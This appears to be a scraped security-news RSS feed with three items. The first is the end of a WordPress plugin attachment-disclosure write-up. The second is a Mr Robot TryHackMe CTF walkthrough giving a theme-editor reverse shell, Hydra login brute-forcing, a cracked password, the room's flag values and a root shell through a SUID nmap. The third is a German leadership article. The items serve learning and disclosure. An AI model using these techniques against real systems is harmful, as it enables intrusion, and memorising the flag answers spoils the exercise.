src="https://cdn-images-1.medium.com/max/1024/1*lztI7rFSqfGIsOZPdtpkWg.png"></figure><h3>Why This Scales</h3><p>The identifiers are <strong>sequential integers</strong>. An attacker doesn’t need to guess — they increment. Combined with the fact that support tickets routinely carry personal data, invoices, and contracts, and that the plugin’s upload whitelist covers pdf, doc/docx, xls/xlsx, txt, and common image formats, a single unauthenticated loop over the ID space harvests attachments across every customer on the site.</p><p>Estimated severity: <strong>CVSS 3.1 7.5 (High)</strong> — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. Network-reachable, no privileges, no interaction, high confidentiality impact.</p><h3>The Reality Check</h3><p>Before public disclosure I did what I always do now: I checked the vulnerability databases and I contacted the vendor.</p><p>The vendor email went out first — a responsible-disclosure notice with a summary of the issue and a request for a secure contact, deliberately <em>without</em> the full PoC in the first message. Then I submitted the finding to a CNA with the complete technical detail and requested a CVE.</p><p>The response was: <strong>duplicate.</strong></p><p>Not a duplicate of the plugin’s older, public authorization issues — those were a different, integrity-only problem on a different function. This was a duplicate of a <strong>separate report already in the CNA’s pipeline</strong>, covering exactly this unauthenticated attachment-download route and exactly this “permission callback returns true” root cause, already tracked with the confidentiality impact of returning full attachment contents to anonymous callers.</p><p>Someone had gotten there first, by a matter of weeks, into a queue I couldn’t see.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*4qJhNuOGBEbGm_3ukmDEbA.png"></figure><h3>What I Was Told — and What It’s Worth</h3><p>Here’s the part that turned a rejection into something genuinely useful. The existing record was filed against an <strong>earlier version</strong>, and marked fixed in a later one. My finding reproduced on the <strong>current</strong> release — the one that was supposed to be patched.</p><p>The reviewer’s response was precise, and I’m quoting the substance of it because it reframed the whole finding for me: my confirmation that the issue <strong>still reproduces on the current version</strong>, together with the byte-for-byte MD5 proof, would be used to <strong>extend the affected-version range</strong> on the existing entry beyond the version it was originally filed against. Because it’s the same vulnerability and the same code path, it’s handled under the existing record rather than as a separate CVE.</p><p>So: no CVE with my name on it. But my independent reproduction demonstrated that a fix believed to close the issue <strong>did not</strong>, and that correction lands in the public record where it actually protects people. That’s not nothing. That’s the point of the work.</p><p>I want to be precise about what I’m claiming and what I’m not. I did not discover a novel bug here — I independently rediscovered a known one and proved it was still live where it was believed dead. The value isn’t novelty; it’s verification. Those are different contributions, and conflating them would be dishonest.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XYv4UU9Un9ZCuQuy78rK9w.png"></figure><h3>Attack Chain Summary</h3><pre>[Attacker — no credentials, no prior session]<br>        │<br>        ▼<br>[1] Map REST routes; find attachment-download handler<br>        │<br>        ▼<br>[2] Read permission callback → returns true unconditionally for file-dl<br>        │<br>        ▼<br>[3] Seed victim ticket + reply attachments in isolated Docker install<br>        │<br>        ▼<br>[4] GET file-dl/T/&lt;id&gt;/&lt;file&gt;  → HTTP 200, ticket attachment (no auth)<br>        │<br>        ▼<br>[5] GET file-dl/R/&lt;id&gt;/&lt;file&gt;  → HTTP 200, reply attachment (no auth)<br>        │<br>        ▼<br>[6] MD5(server file) == MD5(downloaded file) → byte-for-byte exfiltration<br>        │<br>        ▼<br>[7] Sequential IDs → enumerate → harvest attachments across all tickets</pre><h3>What This Taught Me</h3><p><strong>A “fixed in X” label is a claim, not a guarantee.</strong> The most valuable thing I did in this entire audit was test the <em>current</em> version instead of assuming the changelog was true. The issue was marked fixed; it wasn’t. Independent reproduction against the latest release is how that gets caught.</p><p><strong>Duplicate-by-pipeline is invisible until it isn’t.</strong> I checked every public database before submitting, and it was clean — because the report that duplicated mine wasn’t public yet. You cannot fully de-risk this. What you <em>can</em> do is target less-crowded plugins: the more popular the software, the more researchers are already circling it. Two of my findings that week collided with pipeline reports; both were popular plugins. The niche ones didn’t collide.</p><p><strong>Precision about your own contribution is a security skill.</strong> “I found a new bug,” “I independently rediscovered a known bug,” and “I proved a known bug wasn’t actually fixed” are three different sentences with three different truth values. Picking the correct one — especially when the flattering one is right there — is part of doing this honestly.</p><p><strong>The process transfers regardless of the outcome.</strong> Standing up an isolated environment, tracing an unauthenticated entry point to confirmed impact, building two independent PoCs, proving exfiltration with a hash rather than a screenshot alone — that skill set is identical whether the audit ends in a CVE or a “thanks, we’ll extend the range.”</p><p>If you found this useful, feel free to connect on <a href="http://linkedin.com/in/camalzads">LinkedIn </a>or check out my tools on <a href="http://github.com/alisalive">GitHub</a>.</p><p><em>All testing was conducted in an isolated, locally-hosted environment using a publicly available plugin release. No live or third-party systems were accessed at any point during this research. The plugin name and exact route are redacted pending completion of coordinated disclosure.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=435e86868d04" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/i-found-an-unauthenticated-attachment-disclosure-bug-in-a-wordpress-support-plugin-and-a-435e86868d04">I Found an Unauthenticated Attachment Disclosure Bug in a WordPress Support Plugin — and a…</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mr Robot CTF Walkthrough -TryHackMe Detailed]]></title>
<description><![CDATA[Writeup by CobrakaiI recently solved the Mr Robot CTF room on TryHackMe. The room is rated medium, but what I liked about it is that it connects a lot of basic penetration testing concepts together: web enumeration, robots.txt inspection, source-code review, WordPress login discovery, reverse she...]]></description>
<link>https://tsecurity.de/de/3646316/hacking/mr-robot-ctf-walkthrough-tryhackme-detailed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646316/hacking/mr-robot-ctf-walkthrough-tryhackme-detailed/</guid>
<pubDate>Sun, 05 Jul 2026 08:39:10 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/437/1*VBbNWudhR1HvtyMylXnNMg.png"><figcaption>Writeup by Cobrakai</figcaption></figure><p>I recently solved the <strong>Mr Robot CTF</strong> room on TryHackMe. The room is rated medium, but what I liked about it is that it connects a lot of basic penetration testing concepts together: web enumeration, robots.txt inspection, source-code review, WordPress login discovery, reverse shells, hash cracking, Linux privilege escalation, and SUID abuse.</p><p>This writeup follows the complete path I used to move from initial access to root. I have also added explanations for every important step, because the real value of this box is not only getting the flags, but understanding why each step matters.</p><h3>Lab Setup</h3><p>First, I started the TryHackMe machine and connected my Kali Linux machine to the TryHackMe VPN.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*WUrhtTw1IfF6ifUf3IkJGA.png"><figcaption>Command to run to connect to the VPN</figcaption></figure><p>To connect Kali with TryHackMe, download your OpenVPN configuration file from:</p><p><strong>TryHackMe → Access → VPN Settings → Download Configuration File</strong></p><p>If the VPN file is on Windows and your Kali machine is running inside VMware, you can transfer it using scp:</p><pre>scp &lt;FULL-WINDOWS-FILE-PATH&gt; &lt;KALI-USERNAME&gt;@&lt;KALI-IP&gt;:&lt;DESTINATION-PATH&gt;</pre><p>Example:</p><pre>scp C:\Users\user\Downloads\cyberpat.ovpn kali@192.168.1.10:/home/kali/</pre><p>After that, start the VPN connection from Kali:</p><pre>sudo openvpn &lt;FILENAME&gt;.ovpn</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*WUrhtTw1IfF6ifUf3IkJGA.png"><figcaption>Command to run to connect to the VPN</figcaption></figure><p>Once the VPN was connected, I started the target machine and received the target IP address.</p><h3>Opening the Web Application</h3><p>I opened the target IP in the browser:</p><pre>http://&lt;TARGET-IP&gt;</pre><p>The homepage showed a terminal-style Mr Robot themed interface. There were many commands visible on the page, but they were mostly visual distractions. In this room, the actual path comes from proper enumeration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*O2PdkxBJXwnZjCDYXotcSA.png"><figcaption>Front Web Page of the App Part 1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*Ix5Nxx8pZ5hHLFbMUzurXw.png"><figcaption>Front Web Page of the App Part 2</figcaption></figure><h3>Checking robots.txt</h3><p>Before running heavy enumeration, I checked the simplest and most common file first:</p><pre>http://&lt;TARGET-IP&gt;/robots.txt</pre><p>robots.txt is a plain text file placed at the root of a website. It tells search engine crawlers which paths they are allowed or not allowed to crawl.</p><p>In CTFs, this file is often used to hide interesting paths.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*m5Pf6nr3_XxwMUFa2FnlnA.png"><figcaption>Checking Robots.txt</figcaption></figure><p>Inside robots.txt, I found two interesting entries:</p><pre>key-1-of-3.txt<br>fsocity.dic</pre><p>I opened the first file and got the first key:</p><pre>073403c8a58a1f80d943455fb30724b9</pre><p>So the first key was recovered successfully.</p><h3>Nmap Enumeration</h3><p>While checking the web application manually, I also ran an Nmap scan in parallel.</p><pre>sudo nmap -sC -sV -O -A &lt;TARGET-IP&gt;</pre><p>The goal of this scan was to identify open ports, running services, versions, and possible operating system details.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*XcmS17aaKWaV9wFazMeDyg.png"><figcaption>Nmap Scan 1</figcaption></figure><p>The scan showed these important services:</p><pre>22/tcp   open   ssh<br>80/tcp   open   http<br>443/tcp  open   https</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*l7aZo93PY5Mr5f5VFWTasg.png"><figcaption>Nmap Scan 2</figcaption></figure><p>Some useful observations from the scan:</p><ul><li>SSH was exposed remotely.</li><li>HTTP was available on port 80.</li><li>HTTPS was available on port 443.</li><li>The web server disclosed Apache/Ubuntu details.</li><li>The SSL certificate appeared expired.</li></ul><p>These are not direct exploitation points by themselves, but they help build a picture of the target.</p><h3>Downloading fsocity.dic</h3><p>The second interesting file from robots.txt was:</p><pre>fsocity.dic</pre><p>I opened it in the browser and saw that it contained a large wordlist.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*xuaZvg6pU910v2d3qUx2Sg.png"><figcaption>Downloading the Wordlists</figcaption></figure><p>This wordlist becomes useful later for the alternative Hydra-based username and password discovery method.</p><h3>Directory Enumeration with Gobuster</h3><p>Next, I used Gobuster to enumerate hidden directories and files on the web server.</p><pre>sudo gobuster dir -u http://&lt;TARGET-IP&gt; -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 50 -k</pre><p>Command breakdown:</p><pre>dir</pre><p>Runs Gobuster in directory brute-forcing mode.</p><pre>-u http://&lt;TARGET-IP&gt;</pre><p>Specifies the target URL.</p><pre>-w</pre><p>Specifies the wordlist.</p><pre>-t 50</pre><p>Uses 50 threads to speed up the scan.</p><pre>-k</pre><p>Skips TLS certificate verification. This is mostly useful for HTTPS targets, but it does not hurt if reused in the command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*JcomDvLAAlnEV-kNXLMicQ.png"><figcaption>Gobuster Scan Running</figcaption></figure><p>Gobuster returned several interesting paths, including WordPress-related directories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*-pjY06PZDTX7PAsmZjJO0Q.png"><figcaption>Gobuster Scan Results</figcaption></figure><p>Important findings included:</p><pre>/wp-admin<br>/wp-content<br>/wp-includes<br>/wp-login.php<br>/license<br>/readme</pre><p>The /wp-login.php path confirmed that the target was running WordPress.</p><h3>WordPress Login Page</h3><p>I opened the login page:</p><pre>http://&lt;TARGET-IP&gt;/wp-login.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*qJBRxhlW97Bu-NP4amSxNw.png"><figcaption>Wp-Login Page</figcaption></figure><p>At this point, I needed valid WordPress credentials. The next useful path was /license.</p><h3>Inspecting /license</h3><p>I opened:</p><pre>http://&lt;TARGET-IP&gt;/license</pre><p>The page showed a suspicious message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*S5LU74vlvb2K7yOFFyJ6cQ.png"><figcaption>Navigated to the /license Directory</figcaption></figure><p>Whenever a page looks suspicious in a CTF, checking the source code is a good habit. I viewed the page source and found a Base64-looking string hidden inside.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*JrOrvao3rNySKHEHm8R15A.png"><figcaption>Text at Bottom</figcaption></figure><p>I decoded the Base64 string and recovered credentials for the WordPress user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*D8BKNTBXYnwHqxmfbQFJpA.png"><figcaption>Decoding the Text</figcaption></figure><p>The credentials were:</p><pre>Username: elliot<br>Password: ER28-0652</pre><p>Using these credentials, I logged in to the WordPress admin panel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*s0BvDREHoEJmof1w9hSgeg.png"><figcaption>Wp-Login Successfull</figcaption></figure><h3>Getting a Reverse Shell through WordPress Theme Editor</h3><p>After logging into WordPress, I started exploring the admin panel.</p><p>The important section was:</p><pre>Appearance → Theme Editor</pre><p>The Theme Editor allowed editing PHP files directly from the WordPress dashboard. This is dangerous because PHP code executed by the web server can be abused to get a reverse shell.</p><p>A reverse shell is a shell where the target machine connects back to the attacker machine.</p><p>In simple terms:</p><ol><li>I start a listener on my machine.</li><li>I place a reverse shell payload on the target.</li><li>The target connects back to my listener.</li><li>I get command execution on the target.</li></ol><p>I used a PHP reverse shell payload generated from:</p><pre>https://www.revshells.com/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*3UchA43HXsnFpG82qb8u-Q.png"><figcaption>https://revershells.com/</figcaption></figure><p>Important point:</p><p>The IP address inside the reverse shell payload must be the attacker machine IP, not the target IP.</p><p>To find the attacker VPN IP, use:</p><pre>ip a</pre><p>Usually, the TryHackMe VPN interface is tun0.</p><p>Then I edited a PHP theme file from the WordPress Theme Editor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*zzeZXtnC53Xqp13Lj1kWwg.png"><figcaption>Replacing with the PHP Reverse Shell Code</figcaption></figure><p>I pasted the PHP reverse shell payload into a theme file such as:</p><pre>archive.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*37-Uh02yebTRGbS8NOc0AA.png"><figcaption>Pasted the Code</figcaption></figure><p>Before triggering the payload, I started a Netcat listener on my Kali machine:</p><pre>nc -lvnp 4444</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*vFOHGgyyrEDDoq71Uo7VdA.png"><figcaption>Netcat Listener Started</figcaption></figure><p>Then I accessed the modified PHP file from the browser:</p><pre>http://&lt;TARGET-IP&gt;/wp-content/themes/twentyfifteen/archive.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*DWV67QlA1XOYgG9seCe7mg.png"><figcaption>Accessing that Edited PHP File</figcaption></figure><p>Once the page was opened, the target connected back to my listener.</p><h3>Initial Shell Access</h3><p>The reverse shell connected successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*OQyRkLeDQWLzedGiL85_dw.png"><figcaption>Voila, Got the Reverse Shell</figcaption></figure><p>I checked the current user:</p><pre>whoami</pre><p>The shell was running as the web server user, not as root.</p><p>Then I started enumerating the filesystem.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*BScsAYqgAMEJ8iOC7bEsOg.png"><figcaption>Got the Key 2 As Well</figcaption></figure><p>Inside /home/robot, I found:</p><pre>key-2-of-3.txt<br>password.raw-md5</pre><p>The second key file was not directly readable because of permissions. However, the password hash file was readable.</p><p>The hash looked like this:</p><pre>robot:c3fcd3d76192e4007dfb496cca67e13b</pre><p>This was an MD5 hash for the robot user.</p><h3>Cracking the Robot User Hash</h3><p>I cracked the MD5 hash and got the password:</p><pre>abcdefghijklmnopqrstuvwxyz</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*Cq5fXr8MtrmOoBUp7gV1rw.png"><figcaption>Cracking the Robot Password</figcaption></figure><p>Before switching users, I stabilized the shell.</p><p>A basic reverse shell often behaves badly:</p><ul><li>Arrow keys may not work.</li><li>Ctrl + C may kill the shell.</li><li>su, clear, nano, and similar commands may not work properly.</li><li>There is no proper TTY.</li></ul><p>To spawn a better shell, I used:</p><pre>python3 -c 'import pty; pty.spawn("/bin/bash")'</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*m-8NWLldbgqSgzJysMESVA.png"><figcaption>Switching to the Robot User</figcaption></figure><p>Then I switched to the robot user:</p><pre>su robot</pre><p>Password:</p><pre>abcdefghijklmnopqrstuvwxyz</pre><p>After switching users, I read the second key:</p><pre>cat /home/robot/key-2-of-3.txt</pre><p>The second key was:</p><pre>822c73956184f694993bede3eb39f959</pre><p>I confirmed the current user:</p><pre>whoami<br>id<br>hostname</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*ajN7CbP56HWgIitDX0Vm9w.png"></figure><h3>Privilege Escalation Enumeration</h3><p>At this point, I had access as the robot user, but the final key was inside /root, so privilege escalation was required.</p><p>One common Linux privilege escalation technique is checking for SUID binaries.</p><p>SUID stands for <strong>Set User ID</strong>.</p><p>If a binary has the SUID bit enabled, it runs with the permissions of the file owner instead of the user who executes it.</p><p>If a SUID binary is owned by root, it may be possible to abuse it for root-level execution.</p><p>I searched for SUID binaries using:</p><pre>find / -perm -u=s -type f 2&gt;/dev/null</pre><p>Command breakdown:</p><pre>find /</pre><p>Search from the root of the filesystem.</p><pre>-perm -u=s</pre><p>Find files where the SUID bit is set for the owner.</p><pre>-type f</pre><p>Only return regular files.</p><pre>2&gt;/dev/null</pre><p>Hide permission-denied errors.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*xATgnc0v_thCZNmhW5jSuw.png"><figcaption>Finding the SUID Permissions</figcaption></figure><p>The interesting result was:</p><pre>/usr/local/bin/nmap</pre><p>This stood out because nmap should normally not be SUID.</p><p>Also, the location was suspicious:</p><pre>/usr/local/bin/nmap</pre><p>The /usr/local/bin directory usually contains manually installed binaries, not default system binaries.</p><p>Older versions of Nmap had an interactive mode that could execute shell commands. If that old Nmap binary has the SUID bit and is owned by root, it can be abused to spawn a root shell.</p><p>I checked it using:</p><pre>ls -la /usr/local/bin/nmap<br>/usr/local/bin/nmap --version</pre><p>Then I started interactive mode:</p><pre>/usr/local/bin/nmap --interactive</pre><p>Inside the Nmap interactive prompt, I used:</p><pre>!sh</pre><p>That spawned a shell.</p><p>I confirmed root access:</p><pre>whoami</pre><p>Output:</p><pre>root</pre><p>Then I read the final key:</p><pre>cat /root/key-3-of-3.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*qXCV_UlQNk6RdxPtqOKmzg.png"><figcaption>Voila, Got 3rd Key As Well.</figcaption></figure><p>The third key was:</p><pre>04787ddef27c3dee1ee161b21670b4e4</pre><p>At this point, all three keys were recovered.</p><h3>Alternative Method: Finding Elliot Credentials with Hydra</h3><p>The /license method gives the WordPress password quickly, but there is another method using the fsocity.dic wordlist.</p><p>This method is useful because it teaches how to use Hydra against a WordPress login form.</p><h3>Cleaning the Wordlist</h3><p>First, I checked the size of the original wordlist:</p><pre>wc -w fsocity.dic</pre><p>The file was very large and had many duplicate entries.</p><p>To clean it, I sorted the file and removed duplicates:</p><pre>sort fsocity.dic | uniq &gt; fs-list</pre><p>Then I checked the size again:</p><pre>wc -w fs-list</pre><p>Command breakdown:</p><pre>wc -w fsocity.dic</pre><p>Counts the number of words in fsocity.dic.</p><pre>sort fsocity.dic</pre><p>Sorts the wordlist alphabetically.</p><pre>uniq</pre><p>Removes adjacent duplicate lines.</p><pre>&gt; fs-list</pre><p>Saves the cleaned output into a new file named fs-list.</p><p>This smaller cleaned wordlist makes Hydra faster.</p><h3>Finding the Valid WordPress Username</h3><p>Using Burp Suite, I inspected the WordPress login request.</p><p>The important POST parameters were:</p><pre>log<br>pwd</pre><p>WordPress used this error message when the username was invalid:</p><pre>Invalid username</pre><p>So I used Hydra to test every word from fs-list as a possible username while keeping the password fixed as test.</p><pre>hydra -L fs-list -p test &lt;TARGET-IP&gt; http-post-form "/wp-login.php:log=^USER^&amp;pwd=^PASS^:F=Invalid username" -t 30</pre><p>Command breakdown:</p><pre>-L fs-list</pre><p>Use usernames from the file fs-list.</p><pre>-p test</pre><p>Use one static password: test.</p><pre>http-post-form</pre><p>Tell Hydra that the target login uses an HTTP POST form.</p><pre>/wp-login.php</pre><p>WordPress login endpoint.</p><pre>log=^USER^&amp;pwd=^PASS^</pre><p>Hydra replaces ^USER^ with each username from the file and ^PASS^ with the static password.</p><pre>F=Invalid username</pre><p>Failure condition. If the response contains Invalid username, Hydra treats the attempt as failed.</p><pre>-t 30</pre><p>Run 30 parallel tasks.</p><p>Hydra found the valid username:</p><pre>elliot</pre><p>Important note: Hydra may show test beside the username in this step. That does not mean test is the correct password. It only means the username is valid.</p><h3>Finding Elliot’s Password</h3><p>After finding the username, I kept the username fixed and brute-forced the password using the same cleaned wordlist.</p><p>WordPress shows a different error when the username is valid but the password is wrong:</p><pre>The password you entered for the username</pre><p>So I used that as the failure condition:</p><pre>hydra -l elliot -P fs-list &lt;TARGET-IP&gt; http-post-form "/wp-login.php:log=^USER^&amp;pwd=^PASS^:F=The password you entered for the username" -t 30</pre><p>Command breakdown:</p><pre>-l elliot</pre><p>Use one static username.</p><pre>-P fs-list</pre><p>Use passwords from the file fs-list.</p><pre>F=The password you entered for the username</pre><p>If this message appears, Hydra knows the password is wrong.</p><p>Hydra found the valid credentials:</p><pre>Username: elliot<br>Password: ER28-0652</pre><p>These credentials can be used to log in here:</p><pre>http://&lt;TARGET-IP&gt;/wp-login.php</pre><h3>What I Learned</h3><p>This room is a good example of why basic enumeration matters.</p><p>The important lessons were:</p><ul><li>Always check robots.txt.</li><li>Do not ignore source code comments or hidden strings.</li><li>Directory brute-forcing can reveal critical application paths.</li><li>WordPress admin access can lead to code execution if theme editing is available.</li><li>Reverse shells require the attacker IP, not the target IP.</li><li>Always stabilize your shell before using commands like su.</li><li>Readable password hashes can lead to user switching.</li><li>SUID binaries are a major Linux privilege escalation vector.</li><li>Unusual SUID binaries in /usr/local/bin deserve attention.</li><li>Old versions of common tools can become privilege escalation paths.</li></ul><p>The box starts with simple web enumeration and ends with Linux privilege escalation through an old SUID Nmap binary. That makes it a solid practice machine for connecting web exploitation with post-exploitation basics.</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=678d7908d472" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/mr-robot-ctf-walkthrough-tryhackme-detailed-678d7908d472">Mr Robot CTF Walkthrough -TryHackMe Detailed</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Werteorientierte Führung: 4 wichtige Prinzipien für Manager]]></title>
<description><![CDATA[Führungskräfte machen sich selbst und ihr Team erfolgreich, indem sie Orientierung geben.Maridav – shutterstock.com



Um Mitarbeiter in IT-Unternehmen zu motivieren, das Beste aus ihnen herauszuholen und sie zu einem erfolgreichen Team zusammenzuschweißen, ist gute Führung gefragt. Doch was heiß...]]></description>
<link>https://tsecurity.de/de/3646173/it-security-nachrichten/werteorientierte-fuehrung-4-wichtige-prinzipien-fuer-manager/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3646173/it-security-nachrichten/werteorientierte-fuehrung-4-wichtige-prinzipien-fuer-manager/</guid>
<pubDate>Sun, 05 Jul 2026 06:08:11 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/Bildschirmfoto-2026-06-29-um-00.29.20.png?w=1024" alt="Führung" class="wp-image-4190218" width="1024" height="577" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Führungskräfte machen sich selbst und ihr Team erfolgreich, indem sie Orientierung geben.</figcaption></figure><p class="imageCredit">Maridav – shutterstock.com</p></div>



<p>Um Mitarbeiter in IT-Unternehmen <a href="https://cio.de/article/3678932/so-geht-motivation-im-job-3.html" target="_blank">zu motivieren</a>, das Beste aus ihnen herauszuholen und sie zu einem erfolgreichen Team zusammenzuschweißen, ist gute Führung gefragt. Doch was heißt gute Führung, worauf kommt es an?</p>



<p>Effiziente Führungskräfte sind Macher. Sie ergreifen die Initiative. Im Sinne von: einfach machen, also: “Entscheiden und durch!” Aber auch im Sinne von “einfach(er) machen”. Das gelingt ihnen, weil sie trotz – oder auch gerade wegen – aller Komplexität im Business Führungsleitlinien an der Hand haben, die einfach und klar sind. Ich nenne solche Führungspersönlichkeiten daher ©lean leader: Sie sind “clean” in ihrer Führung – sauber und klar.</p>



<p>Diese erfolgreichen Manager berufen sich auf ein Set an klaren Werten. Das macht sie berechenbar für ihre Mitarbeiter. Es macht sie authentisch und zuverlässig. Zuverlässigkeit wiederum gibt den Mitarbeitern <a href="https://www.deloitte.com/de/de/alliances/aws/about/aws-european-sovereign-cloud-deloitte.html" target="_blank" rel="noreferrer noopener">Sicherheit</a> – Sicherheit in Zeiten des Wandels (also immer), bei wirtschaftlichen Herausforderungen. Sie geben da Orientierung, wo die Business-Welt immer schneller, fordernder und widersprüchlicher wird. Gerade in dieser Zeit der massiven Veränderungen helfen sie, Barrieren im Kopf zu finden und zu lösen.</p>



<p>Das heißt: Führungskräfte machen sich selbst und ihr Team erfolgreich, indem sie Orientierung geben. Ihre Führungsprinzipien sind damit die Basis eines Führungshandelns, das von Werten zu Wertschöpfung führt. Ich gebe Ihnen vier Führungsprinzipien an die Hand, auf die es ankommt:</p>



<h2 class="wp-block-heading">Führungsprinzip 1: Fokussieren Sie sich auf die wesentlichen Dinge</h2>



<p>Arbeiten Sie mehr am Unternehmen, weniger im Unternehmen. Was ich damit meine: Nicht Ihre vielen Überstunden und die zahlreichen E-Mails, die zwischen Ihnen und Ihren Mitarbeitern hin- und hergehen, führen Ihr Unternehmen in die Zukunft. Es kommt vielmehr darauf an, das Richtige zur richtigen Zeit, am richtigen Ort zu tun – und dies häufig und konsequent. Hierzu müssen Sie oft Dinge in Millisekundenschnelle innerlich bewerten können. Ein gutes Gefühl dafür zu entwickeln, was jeweils zu entscheiden ist, ist somit Ihr Ass.</p>



<p>Tipp: Trainieren Sie Ihre Intuition. Üben Sie dies schon bei Ihrer nächsten Entscheidung. Was ist Ihre erste spontane Eingebung? Fassen Sie diese innerlich in Worte. Vergleichen Sie, zu welchem Ergebnis Sie bei logischer Abwägung der vorliegenden Fakten kommen. Wägen Sie dann beide Entscheidungen in ihren möglichen Auswirkungen ab. Wenn Sie so regelmäßig vorgehen, aktivieren Sie Ihre intuitiven Eigenschaften und bekommen ein feineres Gespür dafür, was sich auf Ihrer Gefühlsebene abspielt.</p>



<h2 class="wp-block-heading">Führungsprinzip 2: Trainieren Sie Ihr Entscheider-Gen</h2>



<p>Auch wenn das richtige Bauchgefühl da ist, und selbst, wenn alle Fakten geprüft, Pro-und-Contra-Listen erstellt wurden: Ein gewisses <a href="https://www.deloitte.com/de/de/alliances/aws/about/aws-european-sovereign-cloud-deloitte.html" target="_blank" rel="noreferrer noopener">Risiko</a>, die vermeintlich falsche <a href="https://cio.de/article/3678877/die-sourcing-strategien-der-entscheider.html" target="_blank">Entscheidung</a> zu treffen, besteht immer. Deshalb erfordern Entscheidungen immer Mut. Doch auch den können Sie trainieren.</p>



<p>Tipp: Erklären Sie Aussagen wie “Wann soll ich das denn noch machen?”, “Warum immer ich?” u.ä. für sich zum Tabu. Denn das sind “Opfer”-Aussagen. Formulieren Sie “Macher”-Aussagen daraus – etwa “Was brauche ich, um mein Ziel zu erreichen?”, “Es ist wie es ist – wie kommen wir jetzt voran?”. Machen Sie sich hierzu in Zukunft immer klar, welche Fragen zu einer Situation oder Entscheidung unausgesprochen in Ihrem Kopf sind, und notieren Sie diese.</p>



<h2 class="wp-block-heading">Führungsprinzip 3: Stellen Sie den Menschen ins Zentrum Ihres Führungshandelns</h2>



<p>Gute Führungskräfte sehen in erster Linie den Menschen im Mitarbeiter. Demnach sollte auch für Sie der Mensch, dessen Talente und seine Stärken der Fokus Ihres Handelns sein. Helfen Sie dem Mitarbeiter, mehr zu leisten als das, wozu er sich selbst imstande sieht. So machen Sie Geführte zu Folgenden.</p>



<p>Tipp: Stellen Sie sich immer mal wieder Fragen zu Ihrem eigenen Menschenbild: Woran glauben Sie in der Zusammenarbeit und dem Zusammenleben mit anderen Menschen – und zwar zutiefst im Inneren, wo Sie auch Ihre Vorurteile “verstecken”? Seien Sie dabei ehrlich zu sich selbst. Denken Sie außerdem darüber nach, wie Sie Ihre Haltung in der Kultur Ihres Unternehmens empfinden. Welches Menschenbild wird dort gelebt? Die Klarheit hilft Ihnen, authentisch und kongruent zu sein.</p>



<h2 class="wp-block-heading">Führungsprinzip 4: Handeln Sie zuverlässig als Vorbild</h2>



<p>Ihre Autorität hängt immer davon ab, ob Sie für <a href="https://cio.de/article/3685776/die-mitarbeiter-machen-einfach.html" target="_blank">Ihre Mitarbeiter</a> ein zuverlässiges Vorbild sind. Vorbild sind Sie aber nur, wenn Ihre Worte und Ihre Taten übereinstimmen. Nehmen Sie sich den Satz “Walk your talk!” als Motto, seien Sie stets verbindlich.</p>



